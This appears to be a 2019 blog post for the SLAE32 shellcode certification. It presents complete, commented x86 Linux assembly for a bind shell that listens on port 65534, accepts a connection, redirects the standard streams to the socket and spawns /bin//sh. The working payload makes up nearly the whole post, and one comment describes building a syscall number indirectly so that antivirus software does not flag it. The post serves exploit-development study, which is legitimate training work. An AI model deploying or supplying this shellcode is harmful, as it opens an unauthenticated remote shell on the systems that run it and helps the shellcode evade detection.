SLAE32 Assignment 1 - bindshell
; name : bindshell
; author : Sandro "guly" Zaccarini SLAE-1037
; purpose : this program will open a listening socket on 0.0.0.0, waits for one
; connection and spawn a shell
; this code has been written for SLAE32 assignment 1
; references : https://syscalls.kernelgrok.com/ , /usr/include/linux/net.h ,
; man socketcall
; license : CC-BY-NC-SA
;
; high level flow:
; socket+setsockopt -> bind -> listen -> accept -> dup fd -> spawn /bin//sh
global _start
section .text
; reused functions are written on top to save some code in _start routine
; dummy function used to break easily on gdb while debugging, just rets without
; touching anything i used to place a call trap and recompile, while having a
; "b trap" on ~/.gdbinit
trap:
ret
zero:
; zero eax and ebx by xoring against themself
; i don't really need to always zero both, but this code won't be that optimized so
; i went for the safeness
xor eax,eax
xor ebx,ebx
ret
socketcall2eax:
; place syscall code for socketcall in eax, which is 0x66, no need to zero because
; will use mov.
; i'm using add to avoid hardcoded 0x66 call, which could be trapped by some AV, when
; 0x33 is the call acct and looks harmless to me
mov al,0x33
add al,0x33
ret
_start:
; -----------------------------------------------------------------------------------
; purpose : create a socket
; references : man socket
; description :
; socketcall is the syscall used to work with socket. i'm going to use this syscall
; to create, bind, listen, and accept connections.
; the first thing i'll do is to create the socket itself. by reading references,
; i see that she needs 3 registers:
; eax => syscall id 0x66 for socketcall, that will be the same for every socketcall
; call of course and that's why i created a function on top
; ebx => socket call id, that is 0x1 for socket creation
; ecx => pointer to socket args
;
; man socket shows me that socket's args are:
; domain => AF_INET because i'm creating a inet socket, and is 0x2
; type => tcp is referenced as STREAM, that is 0x1
; protocol => unneded here because there is no inner protocol, so i'll use 0x0
; start by zeroing eax,ebx. not really needed because registers are clean,
; but better safe than sorry
call zero
; then, create ecx because i don't want to use mov, and a zeroed eax is perfect for
; the purpose arg will be pushed in reverse order with no hardcoded address: 0, 1, 2
push eax
inc eax
push eax
inc eax
push eax
; because socketcall needs a pointer, i'm moving esp address to ecx
mov ecx, esp
; prepare eax to hold the socketcall value as discussed before
call socketcall2eax
; because ebx is 0 i can inc to have it 1 for socketcall to call socket
; (pun intended :) )
inc ebx
; do the call and create socket
int 0x80
; because syscall rets to eax, if everything's good eax will hold socket fd:
; save it to esi to have it safe for the whole run
mov esi,eax
; -----------------------------------------------------------------------------------
; purpose : set SO_REUSEADDR
; references : man setsockopt , man 7 socket , /usr/include/asm-generic/socket.h
; description :
; both during test and in reallife, you have to be sure you can spawn again the shell
; on the same port whatever happens.
; setsockopt is used to set socket options, i'm using it to set SO_REUSEADDR that let
; me to spawn the same bindshell twice even in case of bad exit
; eax => syscall id 0x66 for socketcall
; ebx => setsockopt id 0xE taken from linux/net.h
; ecx => sockfd, level, optname, pointer to optval, optlen
;
; asm-generic/socket.h shows that SO_REUSEADDR values is 0x2
; preparing ecx at first, in reverse order of course
; optlen is 1, because i just have a int
push 1
; address of optval here
push esp
; SO_REUSEADDR id is 0x2, push the value
push 2
; SOL_SOCKET will be 1, push again the value
push 1
; push socket file descriptor, already saved to esi
push esi
; place stack pointer in ecx
mov ecx, esp
; put setsockopt id to ebx. because ebx has been zeroed, i can use bl
mov bl,0xE
; prepare eax to hold the socketcall value as discussed
call socketcall2eax
; do the actual call
int 0x80
; i don't care for retcode, going to assume it's ok
; -----------------------------------------------------------------------------------
; purpose : bind socket to 0.0.0.0:bindport
; references : man bind , man 7 ip
; description :
; a socket alone is useless if you don't bind and listen.
; i'm going to bind to 0.0.0.0 because i don't know the reachable ip address of the
; box. if i wanted to listen on a given address, i could've hardcoded it
; bind port is defined in .data section as bindport and could be easily changed
; syscall needs the same args, just socketcall id will change:
; eax => syscall id 0x66 for socketcall
; ebx => bind call id, 0x2 taken from linux/net.h
; ecx => pointer to address struct
;
; man bind shows me that args are:
; sockfd => already saved in esi
; address => address struct defined by ip(7)
; addrlen => addrlen is 32bit (0x10)
;
; man 7 ip shows address struct details, that will be placed in ecx. arguments are:
; family => AF_INET, so 0x2
; port => held by bindport
; addr => as said, 0x0 to listen to 0.0.0.0
; because setsockopt worked with registers, zero again to start from known values
call zero
; push arg in reverse, so i can take advantage of eax being 0x0
; prepare stack pointer to addr struct defined in man 7 ip
; 0 to listen to ANY ADDR
push eax
; push port to bind to, defined in .data. pushed as word
push word bindport
; push AF_INET value as word again
push word 0x2
; get stack pointer to ecx
mov ecx,esp
; push bind arg, again in reverse order
; addrlen is fixed to 16, or 0x10
push byte 0x10
; pointer to addr struct
push ecx
; sockfd, saved before to esi
push esi
; stack pointer to ecx again, to feed bind socketcall
mov ecx,esp
; ebx has been zeroed, inc it twice to have 0x2 for bind()
inc ebx
inc ebx
; same call to have 0x66 to eax and do socketcall
call socketcall2eax
; do the call
int 0x80
; i'm ignoring retcode here too
; -----------------------------------------------------------------------------------
; purpose : actual listen on socket
; references : man listen
; description : having the socket ready, i'm ask the system to listen. listen id,
; again took from linux/net.h, is 0x4.
; man listen says that i have to feed it with socket fd and backlog value
; eax => syscall id 0x66
; ebx => listen 0x4
; ecx => socket filedescriptor, backlog (will use 1 to limit to 1 connection)
; arg in reverse order to ecx
; i don't have any reg holding 0x1, so i push the word to have backlog set as 0x1
push word 0x1
; and esi to push sockfd
push esi
; feed listen call id. because ebx is 0x2, i could inc ebx twice
; i'm using mov to change someway the flow
mov bl, 0x4
; put in ecx esp pointer
mov ecx, esp
; same call to have 0x66 to eax and do socketcall
call socketcall2eax
; do the actual call
int 0x80
; -----------------------------------------------------------------------------------
; purpose : accept connection on created socket
; references : man 2 accept , man 7 ip
; description : having the socket in listen, she has now to accept a connection
; man accept says that i have to feed it with socket fd, pointer to
; struct addr, and addrlen
; struct addr has already been discussed before, but because addr and
; port are not needed here i'm just pushing 0x0
; eax => syscall id 0x66
; ebx => accept 0x5
; ecx => socket filedescriptor, pointer to addr, addrlen
; prepare arg for ecx as i did before
; gdb says that edx is 0x0, no surprise because nobody used it. using it to push two
; 0x0 for addr and port
push edx
push edx
; ending with socket fd
push esi
; stack pointer to ecx for addr struct
mov ecx,esp
; ebx is 0x4 and i need it to be 0x5, one inc will be enough
inc bl
; usual call to have 0x66 to eax and do socketcall
call socketcall2eax
; do the actual call
int 0x80
; as soon as a client connects, eax will hold an id that refer to that client
; save clientid to edi, we need it very soon
; i also could've used dl and al because clientid will be a very small number
mov edi,eax
; -----------------------------------------------------------------------------------
; purpose : create fd used by /bin//sh
; references : man dup2
; description : every shell has three file descriptor: STDIN(0), STDOUT(1), STDERR(2)
; this code will create said fd
; eax => dup2 callid, that is 0x3f got from kernelgrok website
; ebx => clientid
; ecx => newfd id, said file descriptor
;
; i'm going to create them by looping using ecx to save some instruction. ecx start
; at 2, create fd, dec as soon as ecx is a negative number (SF is 1), the loop ends
; put 0x2 to cl to start creating STDERR just after dec
; because ecx has been used and it's not 0x0 while edx is null, i'm going to swap
; ecx and edx before
; i could also used 0x3 and jnz, by having int0x80 after the dec
xchg ecx,edx
mov cl,0x2
; copy socket fd to ebx to feed clientid
mov ebx, edi
; zero eax and start the loop
xor eax,eax
dup2:
; dup2 call id
mov al,0x3f
; dec ecx to have 2,1,0
int 0x80
dec ecx
; loop until ecx is 0x0, we then have 3 runs: with 2, 1, 0 values
jns dup2
; -----------------------------------------------------------------------------------
; purpose : spawn /bin//sh
; references : man execve
; description : put /bin//sh on the stack, aligned to 8 bytes to prevent 0x00 in the
; shellcode itself and null terminating it by pushing a zeroed register
; eax => execve call,0xB
; ebx => pointer to executed string, which will be /bin//sh null terminated
; ecx => args to executed command, that could be 0x0
; edx => pointer to environment, which could be 0x0
; i need to push a nullbyte to terminate the string, easiest way is to zero a reg and
; push it but i know ebp and eax should be 0x0 but i want to be sure
call zero
push eax
push 0x68732f2f
push 0x6e69622f
; here the stack will looks like a null terminated /bin/sh:
; /bin//sh\0\0\0\0\0\0\0\0
; and place pointer to ebx
mov ebx,esp
; empty envp to edx
push eax
mov edx,esp
; empty args for my shell
push eax
mov ecx,esp
; execve syscall here, eax is 0x0 so i can work on al
mov al,0xB
; and pop shell
int 0x80
; neat exit because i like it
xor eax,eax
mov al,0x1
int 0x80
section .data
; 65534 converted in hex (0xFFFE), then little endian
bindport equ 0xFEFF
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Written on August 3, 2019